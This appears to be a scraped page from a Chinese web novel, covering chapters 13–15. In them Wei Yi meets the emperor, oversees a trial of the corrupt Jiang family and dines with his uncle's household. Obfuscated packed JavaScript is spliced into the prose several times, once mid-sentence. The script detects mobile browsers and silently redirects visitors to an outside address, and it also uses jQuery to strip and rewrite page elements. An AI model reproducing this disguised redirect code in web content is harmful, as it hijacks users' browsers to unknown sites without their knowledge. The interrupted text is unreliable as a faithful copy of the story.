;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“知道了,虽然不想要那两千五‘干将’,但还是谢您,官升两级俸禄可多了不少,养家钱不用愁了。” “你还愁养家钱?难道是要生十个孩子?”韦祎瞅他,旋即叹气,“好好带,马上有大战,别让那群蠢货当了炮灰。” “您是要上战场吧,我不跟您客套,战功在其次,好好的回来才重要。” “是啊,都得好好的。” 日常事务渐渐都交到了池勤手里,池勤本就接触的多,上手快,跟人打交道的能力比韦祎更强些,同僚们也都乐意接受这位接班人,韦祎每天下班的时间也越来越早,一日里回去,异常安静。 平时坐在门廊下绣花的女佣们今日里都不知道躲去了哪里,常在院子里玩耍的攸沅攸绚宓儿东风西风花小宝也都不在,只有柳不寒一个人柳眉倒竖地坐在院子正中央的石鼓上。 “娘,我回来了。”韦祎意识到了不对劲,但自己已经被看到了,只好硬着头皮上前问安。 “咱家那富贵的亲戚坐在正堂呢,问我的安做什么,还不快去巴结你那禄蠹舅舅!” “那个,石鼓上凉,您当心身子。” “凉什么凉,降火!” 韦祎眼睛到处乱转想找人来救他,凡是能动的早都躲起来了,自力更生吧。 “宓儿可是又出去玩耍了?” “昨日你岳丈家里来信要接宓儿去郡里避暑,给他收拾了行李让壹通送他去国公府了。” “啊?” 魏国公镇镇守国都之北,在北边的安都郡,离京城有四个时辰的路程,宓儿一般是一去就住上三四个月或者小半年。 “怎么也没等我去送?还麻烦壹通。”其实韦祎想问送儿子出远门,怎么说也要告诉自己一声啊,也该反思反思了,爹爹都变成“小祎哥”。但是他可不敢在娘亲气头上问这句话。 “你也好意思见你岳丈?”柳不寒怒气转移,“你忙着你那家国大事,等你回来家,清泉都入了土!”一出口就直击灵魂,韦祎垂头听着不敢说话了。 13. 上书房 “小祎啊,快进屋里来。”听到柳不寒怒气升级,提起外甥媳妇的事情来,怕韦祎真的想起伤心事动摇,柳卞赶忙出声阻止。 韦祎走进正厅,柳卞正枯坐着,连杯茶都没有,腿上还放着个食盒。 柳仆射并不是个会把食盒抱在怀里的人,来韦家就会这样子,他怕食盒离了手,就会被柳不寒扔去喂狗。 “你快尝尝,这是你舅妈亲手给你做的糖桂花雪片糕。” “韦祎!你要是敢吃你就住到柳家去吧!”坐在院里的柳不寒头也没回的吼道。 此事渊源甚久,顺便一说,别看柳仆射家大业大,没儿子,生了七个女儿。 柳家人一向是生女儿多,柳卞早有准备,招女婿入赘呗,他的爹爹就是入赘女婿。 舅妈最大的梦想是儿女双全,生到第四个还是女儿时,几乎决定改嫁。 柳不寒头胎男孩。舅妈起了心思,踌躇良久,估摸着刚刚大喜的柳不寒脾气会好一点,于是赶在小韦祎的满月宴上跟柳不寒打商量,如果老二还是儿子,就过继给她吧。柳不寒眼一瞪,当场发毒誓此生只要这一个孩子,这毒誓发的还是:如果再生,柳家灭门。 柳卞和柳红酥两双手赶忙去捂她的嘴。 舅妈分外喜欢韦祎,只要有机会就招韦祎去柳家玩。 柳家又大又宽敞,舅妈温柔耐心手艺好,还有表姐表妹们一起玩耍,小韦祎去了就不乐意回来。小韦祎万万没想到,这就是柳不寒把他“流放”千里之外海岛上的根本原因。 韦祎还是挺不好意思,想至少给客人喝杯水,没佣人可以叫来,“我去泡壶茶?”韦祎朝舅舅摆着口型。 “别多事,我习惯了。”柳卞也摆口型。 “我来是替圣上传句话,哎,不用行礼,不是圣旨。”柳卞说,扶住韦祎,让他坐下。 “圣上本就认得你,又算是你的姨夫,这几年你性子也磨炼得差不多,到了委以重任的时候啦,此时与西域各国结成联盟在即,正缺个将军去交换国书国礼,商讨联姻大事呢。” 果然是这个,总比被安排去禁军好多了,韦祎内心毫无波澜甚至暗暗庆幸。 送走柳卞,韦祎趁母亲没注意时溜回自己的屋子,路上经过账房,门恰时打开,几乎拍到脸上,韦寅从里面探出头来,“你舅舅走了?” “已经送走了。”韦祎没想到爹爹竟然在家里,“您在家?”言下之意,为什么刚才不去正厅救他。 “我走在街口刚好看到你舅舅的马车驶进来,我连后门都没敢走,从那边的墙洞爬进来,到这屋里躲躲。”韦寅打量打量儿子,“那墙洞不好爬,要是我也会轻功就方便了。” “您还是从门走吧。”韦祎也打量打量父亲,韦寅身量很高,年轻时仪表堂堂,近来确实发福不少,别说轻功了,爬墙都费劲些,下次让四萬给他做个能伸缩的梯子放在马车上,防他摔到。 第二日清晨,柳卞派了个小厮把韦祎给叫了起来,驱赶他去沐浴熏香,又盯着换好了官服,检查齐全,跟着他一直到了宫城大门底下等着。 直到上午,下朝的柳卞匆匆地走出宫城,把韦祎给“押”了进去。 韦祎原本并不怕面圣,对这座森严宫城极为熟悉。 从上朝大殿的旁边穿过去,走上三百步,前殿就是皇帝平素里批折子的书房,后殿是寝殿。再往左边看过去,离上书房一百步远,有一座比上书房稍微低矮一些的建筑,那就是金吾卫的班房,金吾卫每日里的排班、交接都在这座建筑里进行。 建筑的前半部分是几排办公桌,中间是更衣室、澡房和看守森严的武器库,后半部分是一些单独分割出来的床铺,供上下夜轮班的校尉休息。 有一年韦祎总是值夜班,于是就独占了一个铺位,上上下下都换成自己带来的铺盖,更衣柜也比旁人多占一个,住着还挺舒适。 再往右看就不那么愉快了,右边那座一模一样的建筑,一半是值班太监们的班房,还有一半是亲信大臣们等候召见的茶室。金吾卫校尉们暗地里都在吐槽,这建筑配置,好似与太监们同等一般,十分不爽。 太监们则说,以右为尊,他们比金吾卫更高等些。 忽然想起来,当时出征南稞国,满心以为能得胜回朝,到时候再回金吾卫班房里收拾行李杂物也不迟,于是走时只带走了兵器和盔甲,其他的东西都留在那里了。 回来后一直没再顾及这件事,更不愿旧地重游,不知道那些行李铺盖还在不在? “柳大人,您这边请,稍坐坐,喝杯茶。”韦祎闻声抬头,嘿,这还是个熟面孔,面白无须,头发稀少,堆着蜡塑一般的假笑。 “那便辛苦牛总管啦。”柳卞拍拍韦祎的肩膀,便举步往右侧走去。 韦祎喉头滚动,因为他看见这位头发稀少的总管太监,总是条件反射地想要叫他牛方丈,从前没憋住叫一两句就算了,如今还是显得自己成熟守礼为妙。 “韦将军,您这边请,皇帝可等着呢。”牛总管见柳卞已走远,假笑也不笑了,没给韦祎好脸色。 当今皇帝已是六十多岁,大齐国的第三代帝王。 若要韦祎私下里评一句,那便是:这位天子是个最为意气风发之人,不管是头发花白还是面现皱纹,都没损耗一丝一毫的锐气。 壮年登基,在位十数年整顿朝纲,开疆拓土,平定叛乱,至今不见疲态,不仅不立储君,皇后的位置也空悬多年。 这不,还想着要攻打强盛的北燕国呢。 “想什么呢?多年不见你来见朕,是怕朕给你吃甜瓜吗?” “末将不敢。”韦祎赶忙回神应道,莫名想笑。 甜瓜之事是宫里的一个笑话,知道的人却并不多。 这宫殿并不是大齐国建造的,而是前朝所留。 大齐国第一代皇帝平定天下之后暂住此地,一直心心念念想着要把国都搬回自己的故乡,可是十年过去了,国家花钱的事情太多,实在没存下钱来迁都,无可奈何地决定就定都在这里,不再搬迁了。 韦祎从前在卷宗里翻到过始皇帝起居录,上载:“今日大雨如注,帝召户部尚书与司库清点钱粮,后长叹拟旨曰,吾生于战乱,治学习武二十余载,征战十三载,从未欠缺钱粮,每夜鼾声如雷以至于妻不愿与吾共枕,每餐必食饭三碗、肉一斤,唯治国十载时金银甚缺,夜不能寐食不下咽,可见治国乃天下第一苦,呜呼,大齐不可再另辟都城。” 于是他的儿子和孙子也都选择加固这座都城,形成四郡拱卫的形态,决意不迁都,也没有翻新宫城。 旧房子里故事多。韦祎在金吾卫时,有一日夜班,忽然听到皇帝寝殿传来一声女子尖叫,此时不能再顾及礼仪,几名值夜的校尉赶忙飞身入殿查看。 皇帝刚披上衣服,面色不善,寝殿的床下塌掉半边,露出一个深不见底的大洞。 他指了指那个洞,“蒋贵人掉下去了。” 几名金吾卫下洞去看,下面何止蒋贵人一个?蒋贵人被摔晕了,躺在一堆干枯的肢体上。 这洞里清理出来蒋贵人一位,女性干尸三十六具。 此事需隐蔽处理。 皇帝临时去暖阁休息,韦祎他们悄悄叫来仵作验尸,这三十六位都是些妙龄少女,穿着前朝的服饰,身躯干燥不腐,表情十分瘆人。再剖开来看这不腐之谜,干尸们腹中空空没有毒药,只留一些甜瓜子。 于是仵作就说:“我也不知道是咋死的,可能是吃了甜瓜后意外尸身不腐吧。” “拉出去烧了,把洞给修理好就行。”皇帝很郁闷,这宫里时不时就会出一两件怪事,一般都是些偏僻宫殿,这次却出现在了自己床下面,以后还怎么睡觉,怎么吃甜瓜? 幸好韦祎生活能力不错,竟然还会修墙,花了两天时间赶工把那大洞给砌成实心的。 如果此事传扬,一定会变成“皇帝夜御三十六女成干尸”,而如今传言的只是“皇帝老当益壮与妃同寝竟然将床榻震碎”而已。 皇帝的事太忙,没时间留给他郁闷,没过两天就回到新修的床铺上睡觉了,这事儿是当时在场的几个人之间的秘密。 闲话几句家常,皇帝一共交代了两件事给韦祎。 第一件是让韦祎预备着整合一支队伍,去西域送上国书,接回西域公主。 第二件是要韦祎代天子监审蒋氏一族。 “不必疑虑,虽然你不在宫中多年,但你这天子近臣的身份朕可从未撤裁过,只是你自己不愿来见朕罢了。” 回家的路上,柳卞邀请韦祎去柳府用午餐庆祝一番,被韦祎搬出要去找吴签核对案情的理由给拒绝了。 “既然是有公事,那我就不多打扰咱们韦将军办案咯,有什么需要舅舅帮忙的,尽管开口。”柳卞以为韦祎终于提起了兴致勤于公事,很满意。 告别了舅舅,韦祎盘算着,皇帝可真不愧是皇帝,笼络人心的手段可不得了,刚才我是不是应该在御前涕泗横流一番才识趣啊? 两件事从时间上看,显然是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357841|152805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 监审一事排在前面,从宫里走一趟,韦祎已经成了钦差大臣,回家果然见到母亲面色更加不善,下令说这几天大家各自在屋里吃饭,不在厅中摆饭了。 家中甚是无趣,罗晏与宓儿北上安都郡,四萬也跟着去照顾宓儿,攸沅和攸绚的师傅已经治好了风寒,他们也不情不愿的回宫上课,于是小东风和花小宝几个孩子也不在韦宅待着,都跑到外面去玩了。 韦祎每天在家里待着还要时刻注意躲开母亲,只要回家,几乎是只能闷在自己房间里。 索性继续在城外的军营和城里的临时衙门两地来回溜达。 池勤这些日子都在城里待着接手千总公务外加准备婚事,城外训练新兵的重任由肖丰和钱氿全面接手。 恶人自有恶人磨,前些日子有池勤担纲,这两位可没少摸鱼,如今可好,韦祎在校场边上的棚子里坐着,啃西瓜看热闹——肖丰更加暴躁了,就连一向好脾气的钱氿额头上也青筋直跳。 “别担心呀,最难的长刀池勤都给教成了,现在只是在教列阵行进而已嘛,都轻松些!” “为什么列阵都列不好?我入伍第一天都没这么蠢!” “你也好意思说你那时候,全军营就属你最刺头。”钱氿揭他老底。 这二人当新兵的时候同在西南边境军,钱氿是从京城里分配过去的,而肖丰本就是西南边陲人士。 从京城里调过去的这批新兵,路上又没有车可以坐,光是三个多月行军跋涉到西南就要了半条命,到了西南饮食也不习惯,萎靡了大半年,这段时间足够肖丰在新兵营里当上霸王了,钱氿就旁观着肖丰到处挑事儿。 去和队长们单挑也就罢了,虽然事后会被报复,但总归能赢。 终于有一次玩大了,去和一位以武艺高强著称的参将挑战,被人家狠狠揍了一顿,扔到钱氿这一群身体虚弱的新兵里面一起修养,住在钱氿上铺,混成了熟人。 钱氿喜欢养小花小草小猫小狗,看见人需要照顾也忍不住就去照顾了。 当时的肖丰心里觉得钱氿婆婆妈妈的有些恶心,但他平时脾气太臭没朋友,屁股开花的时候没人照顾可能会饿死,不得不忍着恶心被钱氿照顾。 “倒霉倒霉,为什么偏偏分到我上铺?”钱氿当时想,肖丰生了一双大铜铃眼,翻鼻、阔口、满口尖牙,年纪轻轻却长了满脸钢针一样根根挺立的络腮胡,浑身的腱子肉上遍布狰狞的刺青,“白天看到都瘆得慌,起夜时偶然看到更是要吓得飞起来。” 钱氿曾经暗地里跟别人抱怨,“我得赶快让他养好伤搬走!”肖丰不知道钱氿心里面怎么想的,知道了一定会气个半死。 等肖丰伤好了,毕竟受人恩惠,他不好意思跟钱氿绝交,钱氿也一直憋着没好意思把真相说出来,他可不想让自己好人变坏人。 几年后,肖丰竟然还听了钱氿的馊主意和他一同调回京城,窝在城防军这个让人闲得手痒的鬼地方。 于是这朋友就做到了今天。 “你们两个在西边待过吧?” “是西南,在南宁国的边境上。” "敬佩敬佩,竟然没落下胃病!”韦祎肃然起敬。 “千总您忘了,我可是会下厨的!”钱氿拍拍胸脯。 “你也和这群没事儿就野餐放火烧东林的蠢货差不多。”肖丰逮住机会反唇相讥。 “怎么能一样?我当时可是为了能拥有厨房去考了军官呢!全营里最早考上的!比你还早三个月!” “要不是我那个蠢队长不给我报名,我怎么可能比你还晚!” “你三天两头就去挑战,当众让他出丑,不给你除名给谁除名?” 韦祎觉得,让他俩训新兵真不委屈,纯粹是现世报。 回到家,看见吴签正等在门口不停地扇扇子,头上还挂着汗珠。 “哎呀,原来韦老弟你不在家啊,我递了名帖,等了你好半天了。” 看来,这吴签也是吃了母亲的闭门羹,门房陈三伯只管收名帖,是不会把他给请进去的。 韦宅的优良作风:门口等的客人不用答话,连茶都不用倒。吴签之前没登过韦家的门,不知道这个“好习惯”。 如今韦祎被点了监审钦差,吴签这么识趣的人自然是要多多登门。只是这韦家的门如此不好进,有些丧气。 “真是对不住,平日里来找我爹的人太多,我娘一律不让进的,把您也一并给算进去啦。” 老爹是干嘛用的,当然是甩锅用的,毫不犹豫。 14. 濯清涟 蒋氏案件由京兆尹吴签主审,大理寺卿与韦祎共同监审。“这么说,这一家子都下了大狱了,也不知道牢房够不够用。” “哪里够用啊,只把重罪的几个抓来了,其他人都软禁在蒋府呢。” “吴兄,实在不好意思,家母有规矩,我也不好请您进门,这也快到了饭点了,咱们找个酒楼喝一杯,小弟请客。” “这要是平时为兄怎么能让韦老弟你请客,但是现在可不同,老弟你新点了钦差大臣,该你请一顿!”吴签说,“你重回御前,以后可要多提携为兄!” “吴兄说哪里的话,等办结了蒋氏的案子,治理禁药大有成绩,是吴兄要飞黄腾达啊。” “真难。我为什么要请他吃饭?等会该说些什么啊!”韦祎心里想着,找个什么理由开溜?此时有罗晏在就好了,一定不愁没话说。几天过去了,应该早就把宓儿送到魏国公府了,他怎么还不回来? 幸好,互相吹捧的客套话也没说上几句,也许是因为韦祎的配合能力实在差,吴签也难受。 “有几件正经的好事要说给老弟呢。”吴签喝了两杯酒,很快就有些上脸了,看来此人也是不胜酒力,韦祎看着这位脸红的吴签,脑子里总是想起某种会嗡嗡震响的铃铛和某些景象,饭吃不下去,放下了筷子。 吴签却以为韦祎是要认真听他讲呢,更加兴起了。 “虽说您家那仆人改名换姓做不得证人,事情难办许多,但是老哥我可把这件事放在心上呢,把教坊那些女子们一一招来对供,都说这婊子无情戏子无义,不无缘由,她们见着蒋家倒台了,跳出来作证的人可不少!” “那您是大有收获了?” “当然!我这几天可没少熬夜,别说是那姜姓丑妇的案子有了着落,还抖出来不少蒋家为非作歹的铁证。” 韦祎叫来一壶茶漱漱口,心想着,果然这人是不胜酒力,这才喝了几杯黄汤,说话都不似从前文雅矜持。 官场上混的,吴签哪里有这般不胜酒力?他还想着自己与韦祎这样说话,显得是自己人,亲近。 要是两个人都斯斯文文的,那这二人一定是不熟,想与人交好,非要先露出些许不堪的本性来才容易。 如今朝中新贵崛起,头一位就正坐在对面呢,此时不结交更待何时? “这不,听我这么说,这位平素以清心正气著称的韦家大少爷也没露出不满嘛。”吴签想,愈发放心了。 蒋颂官这一家子都是好色的,欺凌一些个教坊戏子都不算什么了,民间良家子里有那俊俏的,被盯上了也难逃一劫,过一阵子没了新鲜劲儿不肯好好善后,要是有人闹得凶了,最简单的办法就是捆起来往井里、池塘里一丢。 吴签说了,蒋家后院一口池塘里头,竟然起出骸骨十八具。 有了色也得有财,他们家在朝中掌管着祭祀等事,前些年兴修皇家寺院,拨到了不少修缮款,偏偏都从外地州府征来工人,修缮款层层盘剥,到了工人手中也不剩几个铜板,待到工人闹事,又说是暴民,抓了领头的几个流放关外,其余人全部吃了这个哑巴亏,被遣返原籍。 这只是件贪了大钱的事情,贪了几百两几千两小钱的事情更是数不胜数。 纵使那极其远房的子侄,或是那家中稍微有些脸面的佣人,要么是手里沾着人命,要么是收过不干不净的脏钱。 “流放关外的工匠,我听说竟然还有好几个活着,我已经传了信让人把他们带回京城来。” 韦祎神游物外想起了蒋韬乐,那一两年与这人相熟,相处起来真是没什么,只从韦祎的眼睛来看,他除了穿衣品味有些奇特,喜欢玩乐,看起来还挺善良呢。 尽力去回忆,想起来一件事,他们一些个公子哥一路赛马狂奔到南边的朝庆郡,竟然在郡里看到了许多逃荒的饥民,当时颇有几个纨绔对脏兮兮的饥民不屑一顾,有捏着鼻子想赶快离开的,还有纵马伤人的。 唯有这位蒋韬乐下马询问,听完这些人的遭遇泪水涟涟,把身上带的钱财全都捐了出去,回京的路上还念叨着要想办法帮他们。在这等恻隐之心上,韦祎都不如韬乐。 这人怎么就成了如今这般?是骨子里就带着坏根子,还是家里腌臜事太多耳濡目染? 韦祎当然是杀过生的,小时候被逼无奈杀鱼杀鸡杀猪样样都会,做金吾卫时也斩过几个刺客,几年前在战场上拼杀,又常常拔得头筹。 最初,韦祎还学着军营里的习俗在每个手中亡魂的尸身上拿点战利品,后来发现太多了行李里放不下。真要比一比,说不定蒋氏全家欠的人命加起来都没他的一个零头,但是让他去掐死个清白弱女子,还不如让他掐死自己。 这世道是反过来的,把韬乐或者他爹丢到战场上,一定活不过一刻钟,却可以辣手杀害平民。 继而韦祎又想到,在他立下无数战功的稞国战场,那些兵卒也并非真的要侵占齐国领土,只不过是政客们的戏,何尝不是枉杀无辜? 其实还留了一些战利品,都是刺客们的,有短刀,有玉佩,有精巧的小弩箭,还有簪子,都被他放在一个匣子里,收在金吾卫班房的更衣柜里头,如今也不知道还在不在。 从稞国回来时过于狼狈,丢弃了所有行李,战利品当然也没了。但是刺客们就是真的该杀吗?哪个不是家仇国恨,更有风骨。 再后边吴签说了些什么他也没有留意去听,忽然很想要回家沐浴一番。 “少爷回来了?”这次韦祎是翻墙进的韦宅,可以最快回到自己的卧房,迎面看到的竟然是小林。 “你在此地做什么?”韦祎又不受控制地捂住了自己的腰带扣。 “掌柜的让我来报账。”小林笑笑,“听说您高升,带份薄礼,求少爷件事。” 就在韦祎满腹狐疑之时小林递上一支简朴的卷轴,韦祎放下心来,打开看。 是一首咏莲的词句,看着眼熟,记不起是哪位文豪所作,“中通外直,不蔓不枝,香远益清,亭亭净植。”正楷的字,笔锋利落,还挺有几分样子的。 “你写的?” “是,不值什么,只是份心意。为了写好这几个字,费了我许多笔墨。”小林说。 “挺不错的,字比我的好看,挂出来也不丢人。怎么想起练字?” “我没什么钱财,技艺少爷也不稀罕,只能多尽心意。” “怎么不写上一句,那句不是更有名气?” “出淤泥而不染,濯清涟而不妖。”小林随口接上,显然是背过这篇咏莲花赋,“这话只怕我还不配写。” “进来说吧。”韦祎打开房门。“不配自比为莲的人可多,怎么没见他们羞于自夸?” “在少爷面前我当然不敢自夸,若是换个人在面前,我就要说自己一尘不染犹如玉人,只是少爷不知道。” 韦祎让他进屋里说话,小林也挺惊讶。 一进屋,韦祎看见地上桌上堆了许多包裹。 “什么呀这是?”他疑惑,难道是母亲要把自己扫地出门,连包裹都收拾了? “这事儿我知道,下午看见有几位宫里来的人,说这是少爷遗留在宫中的行李,一直没有机会帮少爷送回来,拖到今天才送,让少爷不要怪罪呢。”小林说,下午来报账正巧在正厅遇见,等太监们走了,柳不寒挥挥手让人把这些都堆在韦祎卧房里,不准帮他整理。 “难为他们还能找到。” “少爷一朝得势,就是那丢了、分了的东西也统统都得找回来还给您呀。”小林的眼睛弯成两道月牙儿,“我帮少爷收拾?” “不用不用,你说你的事。” “虽然说家母的案子已经审结,我不用出庭作证,但我还是想亲眼看看蒋家的下场,少爷监审,想求您带我同去。”小林说,“少爷别忙着拒绝,如果您不带我去,我就去找吴大人。” 韦祎噎住,只得答应。“可以,我想想办法。” 小林嘿嘿地笑起来。 之前帮不了小林,逼得他只能去贿赂吴签那厮,韦祎心里隐隐有些内疚,这不,被小林吃得死死的。 “少爷没别的吩咐我就告辞了,等您的好消息。” 随便翻了翻那堆包裹,第一个包裹里面就放着那只眼熟的战利品匣子,盯着看了半天也没打开,脱了外袍,转到后厨烧水沐浴去了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357842|152805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 小林最终是以韦祎的文书员身份被带进公堂的,戴上帽子,把皮肤涂黑一点,再穿上肥大的衣裳,不仔细看还真的看不出。 韦祎千叮咛万嘱咐让他千万不要在公堂上失态,如果突然痛哭流涕就不好办了。 案子审的时间可长了,每件大案子都要单独过堂数次,小案件也要一一审结,前前后后进行了半个多月都没有搞完。 小林的表现超出韦祎预料,每次讲到案情紧要处韦祎就忍不住侧脸去观察小林的状态,只见这人不仅是面无表情,手上的笔也没停下过,做好书记员的工作。 下堂后去翻看小林写的记录,一字一句工工整整条理分明,有那证人陈述繁复的细节,特意画了表格来整理清楚,韦祎不禁有些热泪盈眶的感受,“如果周冲他们几个能把字写得这么好,我就不用操心啦。” “做戏要做全套嘛,不如少爷正式雇佣我做文书员?” “嘘,小点声。” “吴大人还在那边和那位大理寺卿说话呢,听不到的。” 做监审官可不只有坐在公堂上听一听这么简单,所有的证词、证物、案卷全都要仔细过目,每天回到临时衙门都要刻苦用功。 幸好城防军临时衙门还留了他的办公室,如果此时连一间自己的办公室都没有,回家办公也不太可能,就只能待在京兆府和吴签一起工作,糟糕至极。 “这是谁的字啊,如此工整,一定不是咱们营的。”池勤这些天就坐在隔壁处理千总职务的公事,两千五百人的档案和审核评语韦祎只做完了一小半,池勤赶工做剩下的,做了一点之后又发觉韦祎之前的整理习惯他看不顺眼,又从头做起,这几日临时衙门的兵士常常见到韦祎和池勤走路都在扶着腰。 平日里不久坐的人连续伏案几天,腰痛背痛发作更严重。 “亏我小时候还想要考科举去当个文官呢,不想舞刀弄剑,到了今天再看看,文官真不是谁都能做的。”池勤来韦祎这屋“探望”,发起了牢骚。 “我爹隔三差五就要请医师回家做针灸,这案子再审上几天,我就该把我爹的医师借来用一用了。”韦祎说,“你看见没,那几个预备考军官的队长,这些日子正在和周冲郑予一起被鲁先生集训。” “早去看了,基础比郑予那小子还差劲,正在从《三字经》开始学启蒙呢,拿一本《孙子》让他们读,只是照着念都磕磕绊绊的。”池勤长叹一口气,韦祎做千总的时候手下至少还有他这个通文墨的,到了他自己这一任,手下的人竟然还在学认字! 这要什么时候才能把文书工作分担出去啊?“您这文书是哪位写的?怎么样,他要不要参军入伍来,到咱们营里救救我?” “别想了,这可是我从家里借来的账房学徒,我家铺子那位老账房都快七十了,退休喊了好几年,全家都指望着这个学徒接班,我娘才不会放他。”韦祎看热闹的心态回来了,“你可要好好保养,马上成亲了不是,洞房花烛夜里喊腰疼可不成。” “我倒是想歇着,不把这两千五百份档案整理好,连婚假都不会消停。” “那再告诉你个好消息,说不定我要把肖丰他们四个都带走。”韦祎嘿嘿笑着合上了面前的案卷,站起来活动活动腰背,背着手走出了办公室回家吃晚饭,留下池勤在原地目瞪口呆。 “您想要了我的命就直说如何?” 韦祎也没能顺利的回到家里去。 “看见没,他出来了,快点围上去!快!”这群人埋伏已久,目标终于出现。 七、八个人从旁边的茶棚里跑出来,一拥而上,在韦祎周围站定,绕成个圈。韦祎惊觉,手都握在刀柄上了,定睛一看,为首的这人不是柳卞的小厮吗? “怎么又是你?还带了这一群人?”观察一下情况,这群人里面竟然还有两人手里拿着网兜和绳索! “表少爷您武艺高强,这不是怕您又跑了嘛?”柳卞的小厮摊摊手,“昨个儿老爷让我请您去家里吃晚饭,一个不留神就被您窜上房跑了,我回去可被老爷骂了一大顿,这不,今天非得请到您不可。” 几乎是被推搡着,韦祎走上了去柳家的路。 15. 桑榆账 “小祎来啦,快坐下快坐下,真是没良心,这么久都没来看舅妈,让你舅舅送去的雪片糕可吃了?觉得顺口舅妈再给你做。”柳卞的夫人性子随和,说话热络,没有因为韦祎没去给她的老爹祝寿而恼火,完全是柳不寒的反面。 “阿娘您这是偏心小祎,家里有好吃的怎么不见您叫我们回来吃?巴巴地让爹爹冒险给小祎送过去。”这是二表姐,得了,看来在表姐们的印象里,登门韦家就是个冒险行为。 “怎么说话呢?你二姑姑只是看起来脾气不好。”柳卞敲敲桌子。 柳卞只娶了一房夫人,家人数量在同僚里面算是很少的,但柳家的人数也比韦家要多很多。 大表姐三表姐早就成婚了,都是入赘女婿,住在家中。二表姐和五表妹的婆家就在京城里,今天都带了夫婿回来一同用晚饭,六表妹七表妹还未出嫁,只有四表姐和丈夫在外省,此时不在家中。 除此之外,表姐表妹们生的一群小娃娃都在,大厅里单独给这群小娃娃摆了一桌子,由奶娘佣人带着吃饭。 除了柳卞夫妻两个,表姐表妹和姐夫妹夫都站起来迎他,外甥、外甥女们也都跟他招手问好。 顺次序挨个问候,完成一圈之后韦祎脸都要笑僵了,还有小外甥女一左一右抱着他的腿肚子向上爬,薅住玉佩和香囊什么的就往嘴里塞,奶娘赶忙过来抢。 这两个走路都没学会的小丫头真是狠人,兴头来了下手挺重,为了不被奶娘抱走,几根小手指头死死掐着韦祎腿上的肉。 刚才看那些案卷留下的不适感还没有消退,生活又把他丢进了一个如此其乐融融的环境里面,一股恶心反胃头重脚轻的感受席卷全身。 被两个小外甥女这么一掐,额头上都冒出汗珠来,头晕恶心的感受反而散去,“宓儿小时候怎么没有这习惯?” 奶娘还在试图把她们抱走,搞得这两个孩子越掐越用力。 “这绝对要出淤青。”韦祎也不敢挣扎,怕下手没轻没重伤到两个牛乳团子一般的小外甥女。 “哈哈,小祎,她俩是不是在掐你呢?”二表姐夫哈哈笑起来,“不知道她们两个怎么就有这毛病,手那么小,力气可大了,我这胳膊腿上全是乌青,我看呀,是像了她们的娘啦!” “我什么时候掐过你?”二表姐不依,“你才带过你女儿几天,就嫌她们掐你,我看就是因为你带她们太少,才要教训你,怎么没见她们掐我?” “哎呀,我这不是忙嘛······” “去去去,别让你女儿欺负小祎。”二表姐指使丈夫过来救韦祎。 看见亲爹过来了,这两只小牛乳团子转移了目标,咿咿呀呀地挥舞着小手去掐爹爹了。 看看这一桌子热热闹闹的,特意给韦祎留了客座的第一个位置,就在舅舅身边。韦祎从小外甥女的“铁钳”下解放出来,落座后不着痕迹地揉了揉大腿,生疼!该把这两个小丫头都送去练武,将来定然能叱咤江湖。 桌上的菜肴丰盛,家大业大,吃的也都是家常菜,色香味俱全,不爱那又昂贵味道又怪得很的补品。 酒亦是清冽不醉人的清酒,接连着敬了四五杯都没什么醉意。 姐姐姐夫们不多喝酒,旁边桌子还有一群小娃娃要照顾呢。 “奶娘,我不用你照顾,我已经长大了,我会自己吃饭的。”说话的这位是韦祎的大外甥,大表姐生的孩子,今年九岁了。 “哥儿听话,我们吃块肉肉好不好啊?”奶娘夹了块肉放到他的碟子里。 “我不喜欢吃肉,你不要给我夹。”这孩子说话有模有样一板一眼,连挑食都这么理直气壮。 奶娘无奈了,她见过不少只吃肉不吃菜的小孩子,只吃菜不吃肉的怪小孩她是第一次见。 “你不是想要小马驹吗?等你长到小马驹那么高,娘就给你买小马。”大表姐注意到了那边的动静,扬声。 大外甥明显迟疑了,经过一番挣扎,眼神望向了那块深受嫌弃的肉排。 奶娘会意,赶忙接上,“哥儿长高高骑小马咯,到时候一定是最威风的!”忙着捡了好几块瘦肉放在碟子里。 “这孩子像了谁了?我和孩儿他爹都是无肉不欢,他倒是不爱吃肉。”大表姐跟舅妈抱怨。 “像了你的爹了!”一边说,舅妈一边夹了一块焦香的烤肉放进柳卞碗里,眼见着柳卞的表情变得有点沮丧,用筷子反复戳着那块肉就是不往嘴里夹。 “快吃了,不吃怎么长高高?”舅妈笑着推推柳卞,众人一齐笑起来。 刚有五分饱,斜对面坐着的三姐夫就跃跃欲试地站了起来,韦祎早瞅到他了,这人在那边盯着自己兴奋了老半天呢。“小祎!来跟姐夫走几招,给大家助助兴!” “嘿,大家可都等着你什么时候说这句话呢,有长进啊,憋住了这老半天!”大姐夫放下筷子,鼓起掌来。 大表姐和姐夫性子相仿,与柳卞很像,心有决断却能从善如流,会凑趣儿。大姐夫是十年前那一届的状元郎,年轻有为,便被柳卞给招做了入赘女婿,如今正在户部侍郎的任上。 